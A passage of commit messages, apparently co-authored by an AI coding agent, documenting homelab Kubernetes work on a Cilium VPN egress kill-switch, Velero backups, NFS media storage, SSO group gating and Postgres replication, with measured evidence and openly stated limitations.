IMPL_EXCLUDE_PREFIXES which already lists this path for the same reason.
Neither change weakens an assertion: (1) applies an exemption that already existed
and was already documented, (2) stops the recorder invalidating its own output.
Co-Authored-By: Claude Opus 5 <[email protected]>
Supersedes the -dirty row from the previous commit by the ledger's own
append-only / latest-wins convention (lib/status.py latest_by_test): nothing
is rewritten, a newer row simply outranks the older one.
runs/20260913T014923Z-9d0814a vpn-killswitch (L3) proven env=prod
git_sha 9d0814ae... (CLEAN — resolvable, so the freshness check passes)
Fault injection against LIVE prod, gateway k3s-prod-3. Timeline (UTC):
01:49:27 tunnel-stop Job applied
01:49:31 Job succeeded — host vpn-egress-tunnel STOPPED, tun0 gone
01:49:31..01:51:01 vpn-class blackholed for 8 consecutive polls, NO response
of any kind; internet-class unaffected on the WAN
01:51:02 self-healing finally: tunnel-restart Job
01:51:05 kubectl wait confirms the host brought the unit back
01:51:04 egress-uplink label AND the BPF egress map both move 134 -> 139
(measured independently, out of band, during the run)
01:51:08 vpn-class egress back on PIA 158.173.241.11
RECOVERY WAS UNAIDED and took ~3s from tunnel-up to a re-steered datapath —
far inside the ~2-minute convergence timer, so the EVENT-DRIVEN up-script
path did the work, not the timer backstop. This is the half that was
previously unprovable: before the egress-uplink label, Cilium held the stale
ifindex and vpn-class egress never came back.
WHAT THE NO-LEAK ASSERTION DOES AND DOES NOT PROVE: it proves vpn-class
fails CLOSED (zero packets out, never the WAN IP). It does NOT credit the
host nftables backstop, which provably cannot fire for pod traffic —
bpf_redirect() skips netfilter. Stopping the tunnel removes tun0 and Cilium
drops on its own because the cached egress ifindex is unusable. Fail-closed
is real; the mechanism is Cilium's drop, as the test header now says.
Co-Authored-By: Claude Opus 5 <[email protected]>
Two recorded runs against PROD (CONF_ENV=prod, context k3s-prod):
20260913T014321Z-19fc8bc egress-class-render (L1) proven
20260913T014437Z-19fc8bc vpn-killswitch (L3) proven, but git_sha -dirty
The L3 run PASSED for real on prod — every declared sentinel present
(NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK,
TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK), tunnel stopped 01:44:48Z and
recovered unaided by 01:46:25Z.
Its row is nevertheless NOT usable as proof: git_sha carries `-dirty`, so
status.py's ancestry check cannot resolve it and the row degrades to
stale-proof. Cause is a harness flaw, not the cluster:
lib/record_run.py's git_sha() ignores UNTRACKED files (so a run's own
runs/<id>/ does not mark it dirty) but conformance/runs/ledger.jsonl is
TRACKED — so the FIRST --record run of a session appends a row, dirties the
tree, and every SUBSEQUENT --record run in that same session is stamped
-dirty. Recording one test poisons the proof of the next.
Committed as-is rather than rewritten: the ledger is append-only and this is
honest evidence of a real run. A clean re-run follows and supersedes it by
latest-wins (lib/status.py latest_by_test).
Co-Authored-By: Claude Opus 5 <[email protected]>
`VPNTunnelDown` goes green the instant a tun0 exists, which is not the same as
vpn-class pods having egress: Cilium caches (egress IP, egress ifindex) at first
resolution, so after a reconnect the BPF egress map points at a destroyed
interface and the packets are dropped while tun0 looks perfectly healthy. Dev sat
in exactly that state for ~80 minutes with nothing alerting.
Two rules close it:
* VPNEgressSteeringStale (critical, for: 15m) — fires when the live tun0 was
re-created more times in the last hour than the gateway node's `egress-uplink`
label changed, i.e. Cilium was never told about a reconnect.
* VPNEgressUplinkLabelMissing (warning, for: 30m) — the watchdog for the
watchdog: a gateway node whose uplink label never reaches kube-state-metrics is
a cluster where the rule above is inert.
Both gated on a gateway node existing, reusing `VPNTunnelDown`'s
`kube_node_labels` guard — a cluster with no gateway cannot be made to fire them.
The direct label-vs-map comparison is NOT available and nothing was invented to
pretend otherwise: no `cilium_*`/`hubble_*` series exist on either cluster (the
cilium-agent exposes no metrics port, there is no ServiceMonitor), and Cilium OSS
publishes no series carrying egress-map contents at all — the map is readable only
via `cilium-dbg bpf egress list`. PromQL also cannot compare a metric value (the
live ifindex) against a number inside a label value, so the level-triggered
equality test is not expressible; the same invariant is counted over a window
instead. Both limits, and the textfile-collector/black-box-probe routes that would
lift them, are written down in the rule comments and the DECISIONS-LOG.
`egress-uplink` added to kube-state-metrics.metricLabelsAllowlist in the same
kustomization, because without it the first rule has nothing to compare.
Verified read-only against LIVE prod (port-forward + /api/v1/query), rendered expr
extracted from `kubectl kustomize platform-config`: empty when healthy; empty when
evaluated at a timestamp before prod had a gateway node; and FIRING when pointed at
a label that genuinely failed to follow prod's real 128 -> 129 tun0 flap earlier
today. Nothing on prod was disturbed to produce that.
Co-Authored-By: Claude Opus 5 <[email protected]>
Closes the loop on the collision entry with the recovery evidence rather than
leaving it as an open question for the operator: dev's last Inactivity timeout is
23:05:06 UTC — the minute prod switched to .135 — and at 23:12:03 that same
session was still the live one, seven minutes unbroken against a two-minute
cycle, 4/4 ping replies at 146 ms, 0% loss, and vpn-class pod egress back to
158.173.241.36 on three consecutive probes.
Co-Authored-By: Claude Opus 5 <[email protected]>
The stand-up broke dev, so the "one gateway per PIA server" rule and the
measurement behind it are now written down where the next person will look:
platform/vpn-egress/README.md and the session's DECISIONS-LOG entry. Both carry
the verbatim journal lines — same server, same pushed `ifconfig 10.72.192.7` on
both gateways — and the flap timestamps, because "same account, inside the
connection limit" is true and is exactly what makes this non-obvious.
Also corrected: the dev/prod table now shows the two environments on different
servers with different exit IPs (dev 158.173.241.36, prod 158.173.241.11), and the
open item about them sharing one public IP is replaced with the real remaining
decision — whether prod gets its own PIA account, which would remove the
hand-maintained per-environment server value entirely.
The unplanned bonus, recorded in both places: moving prod to .135 gave it a
genuinely NEW tunnel address on a real reconnect (10.72.192.7 ifindex 128 ->
10.150.192.86 ifindex 129) — the precise case Cilium does not follow and the one
defect 1 was about. The egress-uplink label moved on its own, Cilium re-resolved,
and all four vpn-class workloads kept egressing with no manual step. Better
evidence than the synthetic address swap used to characterise it, and it cost
nothing to capture.
Co-Authored-By: Claude Opus 5 <[email protected]>
Standing up prod broke dev, and the mechanism is worth spelling out because
"same PIA account, well inside its connection limit" is true and still not enough.
The vaulted .ovpn pins ONE server. With both gateways using it, dev and prod
landed on the SAME server AND were handed the SAME tunnel address — both journals
read `[Server-10779-2a] Peer Connection Initiated with [AF_INET]158.173.241.112:1198`
and `ifconfig 10.72.192.7 255.255.192.0`. Each reconnect steals that address on
that server; the loser then receives nothing, trips `--ping-restart` after 60s,
reconnects and steals it back. Measured cycle: dev restarting at 22:57:05,
22:59:03, 23:01:05 UTC with prod interleaved about a minute off, each ~2 minutes
apart, indefinitely. Neither environment had reliable vpn-class egress — prod's
probes looked green only because they happened to land inside an up-window.
Fix: `vpn_egress_gateway_pia_remote` ("<host> <port>", empty = honour the .ovpn)
rewrites just the `remote` line of the deployed .ovpn, and prod's group_vars sets
it to 158.173.241.135. That is another member of the same PIA Stockholm LB pool —
`sweden.privacy.network` resolved from k3s-prod-3 to
158.173.241.{34,55,112,135,239} — and every server in the pool takes the same
credentials and the same inline CA, so only the address differs. Dev keeps the
.ovpn's .112 untouched, which is why the override is per-group rather than in the
role or a second vaulted .ovpn.
Two details that matter for whoever touches this next:
* The regex is anchored to a line STARTING with `remote` plus whitespace, so
`remote-cert-tls` and `remote-random` are not collateral damage. The task keeps
`no_log: true` — the transformation never widens what is logged.
* A PIA server address is NOT a credential, so it lives in
group_vars/vpn_egress_gateway_prod/vars.yml in the clear, next to the vault
rather than inside it. Keeping it out of the vault is what makes it reviewable.
If prod ever gets its own PIA account, this override can be deleted again.
Co-Authored-By: Claude Opus 5 <[email protected]>
Four places in the tree told the reader that the host nftables table is the
authoritative fail-closed backstop for egress-class=vpn pods: platform/vpn-egress
README, egress-steering.yaml, the role README, and the vpn-killswitch test's own
GIVEN/THEN prose. It is not, and cannot be — Cilium's eBPF egress-gateway
datapath bpf_redirect()s those skbs to the egress device without invoking
netfilter POSTROUTING. Corrected with the measurement in each place rather than
softened, because a guard the repo trusts and that does not fire is worse than no
guard.
What replaces the claim, everywhere: vpn-class fails closed because CILIUM drops
the traffic when it cannot use its cached egress interface, verified by tcpdump on
both the WAN and tun0 during a tunnel stop and a tunnel restart (0 packets out
either). The nft table keeps a narrower, now-proven job: node-originated traffic
sourced from a tunnel address (killswitch_drop moved 0 -> 3 packets on
k3s-prod-3 when such a packet was routed at the WAN).
Also recorded:
* egress-steering.yaml — `interface: tun0` is resolved ONCE and cached, and the
gateway node is what tells Cilium it changed (the egress-uplink node label). A
future reader's instinct will be to have the node write to that object; the
comment says not to, because it is Flux-managed, and points at the label and
`cilium-dbg bpf egress list` as the debugging entry points instead.
* egress-steering.yaml — why the new NFS media mounts are not affected by
pod-scoped steering: an NFS PV is mounted by the node kernel in the host netns,
so podSelector never matches it. The 192.168.0.0/16 exclusion covers the server
too, but that is the second reason, not the first.
* vpn-killswitch test — its recovery step depends on the re-steer path, and could
not have passed before it existed. Its no-leak assertion was always right; only
the explanation was wrong. Also states the prerequisite plainly: the test cannot
run at all without a labelled gateway node.
* platform README — prod is live on k3s-prod-3 with the before/after egress IPs,
and the note that prod's vpn-class pods had NO internet beforehand (CEGP with no
matching node -> `Gateway IP: Not Found` -> dropped), so arming the gateway
restored egress rather than moving it off the WAN.
* role README — the standing "add the shared fwmark to the interface contract"
escalation is closed as not implementable on Cilium OSS, rather than left open
for someone to attempt.
DECISIONS-LOG carries the full session entry, including the drafted ADR-0015 /
docs-03 amendment for the architect (specs are immutable to agents) and the five
things left for the operator — chief among them that a silent gateway outage still
has no alert, which is what let the dev gateway sit dead for 80 minutes.
Co-Authored-By: Claude Opus 5 <[email protected]>
`[vpn_egress_gateway_prod]` is a SEPARATE inventory group with its own vaulted
credentials, not a second member of `[vpn_egress_gateway]`. That group is the
default target of playbooks/vpn.egress.gateway.yml, so adding a prod host to it
would mean a flagless `ansible-playbook playbooks/vpn.egress.gateway.yml`
silently reconfigures a prod node's kill-switch datapath. Prod is reached only by
asking for it, with `--list-hosts` first:
-e vpn_egress_gateway_hosts=vpn_egress_gateway_prod --limit k3s-prod-3
Node 3 because node 1's SSD was replaced yesterday (least operational history)
and node 2 carries the §0b memattr history. Exactly one node, forever: Cilium OSS
picks "the first node in lexical ordering" among nodeSelector matches, so a
labelled k3s-prod-1 would silently steal the gateway role — and the public egress
IP — from k3s-prod-3, with no event and no alert.
vault.yml is a verbatim copy of the dev group's CIPHERTEXT: same PIA account per
the operator, and copying the encrypted blob means the plaintext was never
decrypted to disk, through a shell, or into a transcript. The two files are now
independent — rotating means re-encrypting both, which is the right behaviour for
two environments.
Also corrects a stale inventory note that claimed k3s-prod-3 has wlp1s0 up on
192.168.2.195. Re-verified before choosing it as the gateway, because a second
live uplink in a kill-switch datapath is not a footnote: there is no wl* netdev on
the node at all, no phy80211 device, the /etc/network/interfaces wlp1s0 stanza is
commented out, 192.168.2.195 is assigned nowhere, and the only IPv4 addresses are
lo and eno1 192.168.2.12. Nothing needed bringing down.
Co-Authored-By: Claude Opus 5 <[email protected]>
Measured on k3s-dev-3, not reasoned about. Three findings, one of which had the
dev gateway silently dead for ~80 minutes before this change:
1. Cilium caches (egress IP, egress ifindex) when it first resolves the CEGP's
`interface: tun0` and does NOT re-resolve when tun0 changes. Every tunnel
restart re-creates tun0 with a NEW ifindex, so vpn-class egress is blackholed
from then on. Observed: node had tun0 at ifindex 1987 while `cilium-dbg bpf
egress list` still said 1986; pod curl timed out. Forcing a re-apply moved the
map to 1987 and egress recovered instantly. `egress-gateway-reconciliation-
trigger-interval: 1s` does NOT cover netlink link events — dev has that same
1s setting and still did not self-heal, 20s+ after recovery.
Fix: vpn-egress-resteer.sh publishes "<tun0 addr>-<ifindex>" as a node label.
A node update makes the gateway re-process the policy (verified: cached
ifindex 1986 -> 1987 within 10s). A node label, not an annotation on the
policy, because the policy is Flux-managed GitOps and the node's labels are
already this role's territory. Fired by the OpenVPN up-script on every
connect, plus a 2-minute convergence timer for the boot case where the
kube-API is not up yet. Proof: `systemctl stop` then `start` of the tunnel now
recovers on its own (map 1989 -> 1990, PIA IP returns); before this commit the
identical sequence stayed broken indefinitely.
2. The nft kill-switch CANNOT see the traffic it claims to guard. A counters-only
diagnostic table on the gateway node recorded, while a vpn-class pod egressed:
0 packets in forward and 0 in postrouting for both the pod CIDR and the PIA
range, against 45166 packets on the same postrouting hook for WAN traffic and
16 packets for a node-originated curl out tun0. Cilium's eBPF datapath
bpf_redirect()s these skbs to the egress device without invoking netfilter.
So `ip saddr @set oifname != tun0 drop` can never fire for vpn-class pods.
What actually fails closed is Cilium's own drop when the cached egress
interface is unusable — tcpdump during a tunnel stop AND during a restart
showed 0 packets leaving either the WAN or tun0. Every rule now carries a
`counter` so the claim stays falsifiable, and every comment that called this
table the authoritative vpn-class backstop is corrected rather than left to
mislead the next reader.
Also removed the `meta mark 0x1c8 oifname != tun0 drop` rule and its variable:
nothing stamps that mark (the only Cilium mark on the node is 0x200/0xf00, the
L7-proxy rule to table 2004), the traffic never reaches netfilter anyway, and
a live rule matching an arbitrary mark is a hazard to whatever picks it next.
3. The up-script flushed the nft source set on every connect, so a packet still
sourced from the previous tunnel address matched neither the ip-rule nor the
drop rule. The set is now additive (`add element` is idempotent; the
down-script already retained it): an element can only ever tighten the guard.
Finding 2 means that window could not have leaked POD traffic, but
node-originated tunnel traffic does traverse netfilter, and additive is free.
Kill-switch reloads no longer disarm the guard either: the .nft file uses
`table` + `flush table`, which clears rules but leaves the named set's elements
intact, so an Ansible run cannot empty the set mid-flight.
Co-Authored-By: Claude Opus 5 <[email protected]>
platform/monitoring/alerts.yaml has shipped VeleroBackupFailure (critical),
VeleroBackupPartialFailure and VeleroNoRecentBackup since the observability
wave. None of them could ever have fired. The velero chart defaults
`metrics.serviceMonitor.enabled: false`, and prod confirms it live:
`kubectl -n velero get servicemonitor` returns no resources, so
velero_backup_failure_total and velero_backup_last_successful_timestamp were
never scraped. A nightly backup could fail — or silently stop running — for
weeks with nothing to say so. That is exactly what R-STATE-03 is for, which
makes the scrape part of the backup path rather than an observability extra.
Both flags verified against chart 12.1.0: `helm template` emits neither object
without the monitoring.coreos.com/v1 capability, and emits both PodMonitor and
ServiceMonitor with it — so the chart gates on capability detection AND
`enabled`, and helm-controller supplies real capabilities from the API server.
No additionalLabels are needed: platform/monitoring already sets
serviceMonitorSelectorNilUsesHelmValues and podMonitorSelectorNilUsesHelmValues
to false, so Prometheus selects every monitor regardless of labels.
Independent of the R2/bulk-tier fix in the previous commit; droppable on its own
if the PM wants to sequence it separately.
Co-Authored-By: Claude Opus 5 <[email protected]>
Velero was resumed on prod (live `flux resume`; suspension was never in git) and
its BackupStorageLocation validated Available against Cloudflare R2 on the first
try — bucket k3s-prod-backup, prefix `velero`, region auto, checksumAlgorithm "".
Backups still failed, and a second, unrelated hazard was armed. Both are fixed
here; both were measured on prod, not reasoned about.
1. velero-plugin-for-aws v1.14.2 cannot write to R2 at all.
It sets PutObject's `Tagging` field unconditionally, so the SDK emits an empty
`x-amz-tagging` header on every PUT. R2 does not implement object tagging in
any form and answers HTTP 501 NotImplemented. Two separate Backups reproduced
it on the write of velero/backups/<name>/velero-backup.json: kopia uploaded
the volume data fine (it uses its own S3 client), then the backup went
phase=Failed with no metadata object — i.e. unrestorable. No config avoids it;
`config.tagging` with a real value sends a tag set R2 also rejects. Upstream
PR #309 makes the field conditional and landed on release-1.14 after v1.14.2
was cut, so v1.14.3-rc.2 is the earliest build with the fix. Pinned to it,
with the exit condition (v1.14.3 GA) stated at the pin.
2. The opt-out FSB schedule would have uploaded the NFS bulk tier.
Schedule (1) runs defaultVolumesToFsBackup:true and excludes only monitoring
and unifi. Since 2026-09-11 prod also carries four static NFS PVs —
plex-media, sonarr-media and radarr-media all bound to the SAME export
/mnt/Storage/plex (8.32 TiB measured via zfs list), plus
nextcloud-legacy-archive at 270 GiB. The 03:00 run would have read that
library three times over NFS and pushed ~8.6 TiB to R2 nightly, retained
720h. Namespace exclusion cannot express the fix: those four namespaces also
hold real Longhorn PVCs (plex/sonarr/radarr config, nextcloud-data) whose
loss is unrecoverable.
So the opt-out is now per VOLUME, by SOURCE TYPE: a velero volume policy
(ConfigMap velero-volume-policies) skips any volume whose source is NFS, and
schedule (1) references it. That tests the property that makes a volume
bulk-tier (R-STATE-04: the bulk tier IS the NFS export) instead of a name list
the next PV would slip past. The per-pod backup-volumes-excludes annotation
was rejected for failing OPEN — a new NFS mount would be backed up in full
until someone remembered.
PROVEN on prod (velero 1.18.1 / chart 12.1.0): a Backup of ns nextcloud with
defaultVolumesToFsBackup:true plus this policy produced exactly ONE
PodVolumeBackup — `data` (nextcloud-data, Longhorn, 875,417,102 bytes,
Completed). The NFS `legacy-archive` volume produced none.
Residual gap, stated rather than hidden: the rule matches NFS only. A future
bulk volume on another out-of-cluster source needs its own condition.
Co-Authored-By: Claude Opus 5 <[email protected]>
The four forward-auth media UIs (jackett, qbittorrent, radarr, sonarr) gate on
`--allowed-group=media-users` alone. On prod the `homelab` realm has exactly one
user — the operator's `jakman85` — and it is a member of `platform-admins` ONLY.
`media-users` has zero members, so those four hosts were reachable by nobody:
oauth2-proxy completed OIDC discovery, redirected to Keycloak, got a token whose
`groups` claim is `["platform-admins"]`, found no allowed group in it, and
answered 403. No login form appeared because the browser already held a Keycloak
SSO session from a platform-admins login — hence "403 immediately".
pihole and crafty were unaffected: they already gate on platform-admins.
`--allowed-group` is repeatable and OR-ed, so listing both groups means "media
consumers OR platform operators". This grants no real privilege — platform-admins
already maps to cluster-admin via k8s-oidc-rbac.yaml (oidc:platform-admins), so a
member can already exec into these pods — and it keeps media-users meaningful for
non-admin household accounts.
Ruled out while diagnosing: client-secret drift (all 7 sidecar secrets hash-match
keycloak-realm-clients), stale apex URLs (every live sidecar carries
keycloak.prod.home.keithjackson.dev), missing group mappers (all 7 clients emit
claim=groups, full.path=false), and the central oauth2-proxy pod restarts — those
were Keycloak returning 503 "no healthy upstream" to OIDC discovery at startup, a
consequence of the Keycloak roll, not a cause.
Goldens re-rendered with the canonical command:
python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation
R-IDP-06
Co-Authored-By: Claude Opus 5 <[email protected]>
sonarr, radarr, jackett and qbittorrent all mounted their Longhorn config PVC at
the renderer's default /data/config, but every one of these images runs with
`-data=/config`. So the PVC held nothing but lost+found while the app wrote its
entire configuration to the container's EPHEMERAL writable layer — destroyed on
every pod recreation: restart, reschedule, image bump.
Measured in-cluster before fixing, per app, rather than inferred:
/data/config dev=2080 [lost+found] <- the Longhorn PVC
/config dev=2053 [Sentry asp config.xml logs ...] <- the node's own disk
and a marker file written to /config did not appear in /data/config, so they are
demonstrably different storage. qbittorrent's /config sat on dev=66309
(/dev/nvme0n1p5), i.e. whichever node it happened to land on.
This is the SAME failure catalog/plex.yaml:54 already records having fixed for
Plex; plex was the only one of the five that was right.
The live /config contents were copied onto each PVC BEFORE this landed, so
jackett's API key and qbittorrent's credentials — which other apps reference —
survive the move rather than being regenerated.
catalog/sonarr.yaml:61 documented this as a latent bug and deliberately left it
because it changes live on-disk state. It is being fixed now because all four pods
had just been recreated, so their configs were freshly generated and nothing had
accumulated to lose.
Co-Authored-By: Claude Opus 5 <[email protected]>
The operator added the pfSense port-forward, so BULK_NFS_SERVER is no longer a
placeholder. Prod gets 192.168.2.102 (pfSense WAN, DNAT tcp/2049 -> 192.168.1.9);
dev stays on the base 192.168.1.9 because it is already on pfSense's LAN.
This value could not be left as a placeholder safely: spec.nfs.server is
unvalidated by Kubernetes, so the PV would be created, the PVC would BIND, and the
failure would only surface as four pods stuck in ContainerCreating.
Verified from k3s-prod-1 before committing, deliberately as uid 1000 rather than
root (the export carries no_root_squash, so a root write proves nothing, and LSIO
images default to PUID 911 which would go Ready and then fail every import EACCES):
mount negotiated nfs4 vers=4.1 proto=tcp, write succeeded, and ln() across
downloads/ -> tv/ gave link count 2 — real hardlinks, so no silent copy-then-delete.
The Nextcloud export was additionally tightened to server-side ro= for prod's three
nodes; a write as root is refused. Its content is config/, config_old/ and
config_backup/ with no data/ directory, so it is an archive, not a live data store.
Co-Authored-By: Claude Opus 5 <[email protected]>
The gate BLOCKED this branch, correctly, and the block was the interesting part.
Attaching the media library selects R-STATE-04 as a touched requirement ("bulk media storage has
a capacity strategy distinct from the replicated tier"), and R-STATE-04 had NO scaffolded test, so
the coverage REQUIRE stage failed both l0 and l1. There were two ways out. One was to keep
avoiding the token — the existing discipline in catalog/plex.yaml and catalog/qbittorrent.yaml,
which say in as many words that naming the requirement would block the merge. That made sense while
the tier was a stub. It does not make sense in the change that DELIVERS the tier: it would mean
shipping the requirement and claiming nothing. So: the check.
WHAT IT ASSERTS, and why each one is a real failure mode rather than a shape
The `bulk` StorageClass sat as `server: REPLACE-ME` for six roadmap phases, and the only thing
keeping a multi-terabyte library off the 3-replica `longhorn` class was four hand-written comments.
That is the class of failure being closed: a bulk volume on the replicated tier does not fail
loudly — Longhorn accepts the PVC and starts replicating 3x of data three mini-PCs cannot hold.
(1) DISTINCTNESS — no bulk PV/PVC on any class the repo declares with the Longhorn provisioner
(derived from platform/longhorn/, so adding a Longhorn class cannot create a blind spot),
and the class is explicitly EMPTY.
(2) CAPACITY STRATEGY as arithmetic — a bulk volume at least an order of magnitude above the
same service's replicated volume. The requirement is about two magnitudes of data; a "bulk"
volume sized like a config PVC means the tier was named, not applied. The 10x floor is
CALIBRATED against the real corpus, not guessed: the media library is ~460x its config
volume and the Nextcloud archive ~13x its 20Gi, so a higher floor would fire on a legitimate
volume and teach the next reader to weaken the check. My first draft used 100x and did
exactly that — the corpus caught it.
(3) PRE-BOUND FROM BOTH ENDS (claimRef + volumeName, agreeing). Guards the most deceptive
failure available in this tier: a dynamic bulk class hands out a FRESH EMPTY directory, the
pod mounts, the PVC Binds, everything is green, and the 8 TiB was never attached.
(4) Retain, always. (5) mountOptions carry `hard` and exactly one nfsvers=4.x, and never `soft`
— a soft mount hands a server hiccup to the app as a short read, which for a media library
is silent corruption; and v4 is what keeps the firewall surface at one port.
(6) ONE EXPORT, AT MOST ONE MOUNT PER WORKLOAD. This is the assertion I most wanted. Splitting
one export into two subPath mounts looks TIGHTER and breaks link() with EXDEV; Sonarr and
Radarr then degrade to copy-then-delete, rewriting every import over NFS and destroying the
seeding copy, surfacing weeks later as "imports are slow and my ratio is gone". No reviewer
sees that in a diff.
(7) READ-ONLY COUPLING — nfs.readOnly, the volumeMount flag and ReadOnlyMany must agree, so
dropping one still leaves the others; and every bulk mode is a `...Many`.
(8) The server is a BARE cluster-vars token, that knob has a base default, and EVERY overlay
supplies it — the seam that lets one authored definition serve two clusters that reach this
host by different addresses.
(9) LOAD-BEARING and NON-VACUOUS. Wired unconditionally into ci/l0.sh as Stage 3e for the same
reason as 3c/3d: Stage 3b scopes to touched requirements, and the path map keys NEITHER
apps/* NOR platform/longhorn/* to this requirement — so the change most likely to break
this could attribute nothing and be gated by nothing. An EMPTY bulk corpus FAILS rather
than passing trivially, and a floor on the assertion count keeps a pass from degenerating.
It reads the COMMITTED apps/ goldens rather than calling the renderer. Asking the renderer would
only prove it agrees with itself; the goldens are what Flux reconciles, and render==golden is
already its own gate stage.
PERTURBED, because a check that has never failed is not evidence. Each of these was applied to the
real tree and each fired with the intended message: bulk PVC moved onto `longhorn`; Retain -> Delete;
`hard` -> `soft`; the token replaced by the literal 192.168.1.9; sonarr's single mount split into
two subPath mounts (assertion 6); and the prod overlay's knob deleted.
Also hardens render.py: `size` is structurally required of a bulk entry (a PV with no capacity is
rejected by the API server) but the JSON Schema only enforces `export`, so omitting it raised a bare
KeyError three frames down. It now raises a sentence naming the service, the volume and the remedy.
Found by the same perturbation pass.
Coverage: 48/51 -> 49/51 (96.1%), 2 gaps, 0 safety-critical.
BASE_REF=main make -C ci gate -> MERGE GATE: PASS.
Co-Authored-By: Claude Opus 5 <[email protected]>
Three instances replicating ASYNCHRONOUSLY still lose data on failover: COMMIT
returns as soon as the primary has flushed locally, so a primary that dies
before its standbys catch up takes the last few transactions with it and the
promoted standby comes up quietly missing them. On keycloak-db that is a
just-created user, a rotated credential or a consent vanishing at exactly the
moment of a failover.
`method: any` + `number: 1` makes COMMIT wait for ONE of the two standbys to
confirm — the point of having them.
dataDurability: preferred, NEVER required. `required` is a strict quorum:
fewer than `number` healthy standbys and writes BLOCK. Postgres here shares
three nodes with etcd and the CNI, so one degraded standby — a node reboot, a
Longhorn replica rebuild, a Cilium restart — would turn a partial degradation
into a total write outage, and on the SSO database that takes kubectl OIDC,
Grafana, Headlamp, Gitea and forward-auth with it. `preferred` keeps
synchronous commit while a healthy standby is there and relaxes the required
count dynamically when one is not. dataDurability is only honoured while
standbyNamesPre/standbyNamesPost are unset — both are.
NON-DISRUPTIVE: this compiles to `synchronous_standby_names`, a reload-only
PostgreSQL parameter. No pod restart, no switchover, no client disconnect.
It is the last of the three commits because it wants standbys that already
exist and are already on their final nodes.
Field shape verified against the live clusters.postgresql.cnpg.io CRD before
relying on it (CNPG 1.30.0, byte-identical schema on k3s-prod and k3s-dev):
spec.postgresql.synchronous requires `method` (enum any|first) and `number`
(x-kubernetes-validation self > 0); `dataDurability` is enum required|
preferred. None of the three Clusters previously had a `postgresql:` block,
so this adds one rather than merging into existing parameters.
DEV IMPACT: identical and non-disruptive, same reload-only path.
Verified: yamllint clean; both tiers render the block.
Co-Authored-By: Claude Opus 5 <[email protected]>
(cherry picked from commit f1ce19461415e77eb2f1ca5109ebab49edf0860b)
plex, sonarr, radarr and nextcloud each gain one bulk volume. Authored in the catalog and
re-rendered, never hand-edited into apps/ (render-golden: 10/10). Layout, the export change the
operator must apply, the uid analysis and the validation probes are in docs/BULK-NFS-STORAGE.md;
everything there was measured on the host over read-only SSH, not assumed.
WHAT THE LAYOUT TURNED OUT TO BE, AND WHY IT DECIDED THE DESIGN
/mnt/Storage/plex holds movies/ tv/ photos/ AND downloads/ as SIBLINGS in one dataset — so the
arrs' import source and their libraries are one filesystem on the server, and the download client's
completed folders are already named radarr/ and tv-sonarr/. The k3s arrs are joining a tree an arr
stack has been driving for a long time.
That sibling fact is the whole argument for the arrs mounting the export ROOT rather than a
subPath per directory. Sonarr and Radarr import by hardlinking or atomically renaming, both
same-filesystem operations, and to the kernel "same filesystem" means SAME MOUNT. Two subPath
mounts of one export are two mounts: link() across them returns EXDEV regardless of what the
server knows, and the arrs do not fail loudly — they degrade to copy-then-delete, rewriting every
file over NFS and destroying the seeding copy. The smallest subtree containing both tv/ and
downloads/ IS the export root, so the root mount is the MINIMAL mount that preserves hardlinks.
Least privilege bounded below by a hard requirement. The cost is stated, not hidden: sonarr can
also write /media/movies.
plex /mnt/Storage/plex -> /media ro ReadOnlyMany
sonarr /mnt/Storage/plex -> /media rw ReadWriteMany
radarr /mnt/Storage/plex -> /media rw ReadWriteMany
nextcloud /mnt/Storage/nextcloud -> /mnt/legacy-nextcloud ro ReadOnlyMany (subPath: nextcloud)
Plex is read-only because it indexes and streams; every write on that tree belongs to the arrs, and
saying so removes Plex from the set of things that can damage 8.33 T. All three media consumers use
the SAME mountPath deliberately: when qbittorrent is eventually given this export, the arrs and the
download client will already agree on absolute paths, which is the other precondition for hardlinked
imports.
*** /media AND NOT /data — A COLLISION CAUGHT WHILE RENDERING. *** The arrs' Longhorn config PVC
renders at the renderer default /data/config. A media mount at /data is mounted OVER it and MASKS
the config volume: the pod comes up with its app database shadowed by an 8 T media tree. That
discovery also exposed a SEPARATE PRE-EXISTING BUG, reported and deliberately NOT fixed here:
LinuxServer arr images run with -data=/config, so /data/config is very likely the wrong home for
that PVC and the app has been writing its EPHEMERAL layer — the exact failure catalog/plex.yaml's
mountPath comment records already having been bitten by. Plex was fixed; sonarr, radarr, qbittorrent
and jackett were not. Fixing it starts those apps from an empty config volume, so it needs its own
change with the operator present. This change does not make it worse.
UID/GID — THE FAILURE THIS TIER ALWAYS HAS
The export is sec=sys + no_root_squash, so the client's numeric uid passes through verbatim and the
server's ownership is the entire access story. The tree is 0755 owned 1000:3000, so ONLY uid 1000
can write it. LinuxServer images default to 911. Without intervention sonarr and radarr would have
mounted cleanly, gone Ready, and failed EVERY import with EACCES.
And fsGroup cannot fix that — the in-tree NFS plugin does NO ownership management, so
podSecurityContext.fsGroup is a no-op on an NFS volume. Reaching for it is how this gets
misdiagnosed. So PUID=1000/PGID=3000 are added to both arrs (PGID 3000 keeps what they write
group-readable to the live non-k3s consumers of the same export), and fsGroup: 3000 is added for
the LONGHORN config PVC only, so changing PUID does not depend on the image re-chowning /config.
plex already runs as 1000 and reads a 0755 tree; nextcloud reads as www-data. Neither needs work.
NEXTCLOUD IS MOUNTED READ-ONLY, WHICH IS A DEVIATION FROM THE BRIEF — ON EVIDENCE
The task said nextcloud writes. The dataset says otherwise: of 270 G, 267 G is config_backup/, the
rest is config/ (103 M) and config_old/ (3.4 G). There is NO data/ directory. This is the OLD
non-k3s instance's configuration plus a backup blob — an archive — and that instance is STILL LIVE
on it (exported rw to 192.168.1.6 and .5, which the operator has said must stay active). Two
Nextclouds writing one instance's config directory, each with its own database and therefore its own
oc_filecache, is unrecoverable corruption. "Do not grant more than needed" lands on ro, and ro is
the trivially reversible choice. If the intent is in fact a MIGRATION, that is a larger and more
deliberate change than a mount; the one-line flip is documented.
Read-only for nextcloud can additionally be enforced SERVER-side (only nextcloud consumes that
dataset from k3s), and the sharenfs value in the doc uses ro= for the k3s clients. The media tree
cannot: plex and the arrs may land on any node, so the server sees the same addresses for reader
and writers. Plex's ro is therefore a client-side guarantee — stated as a limitation, not left
implied.
Co-Authored-By: Claude Opus 5 <[email protected]>
`instances: 3` alone does not keep the three instances apart. All three
Clusters used CNPG's default `podAntiAffinityType: preferred`, which is a
scheduler HINT — two instances may share a node whenever that scores better,
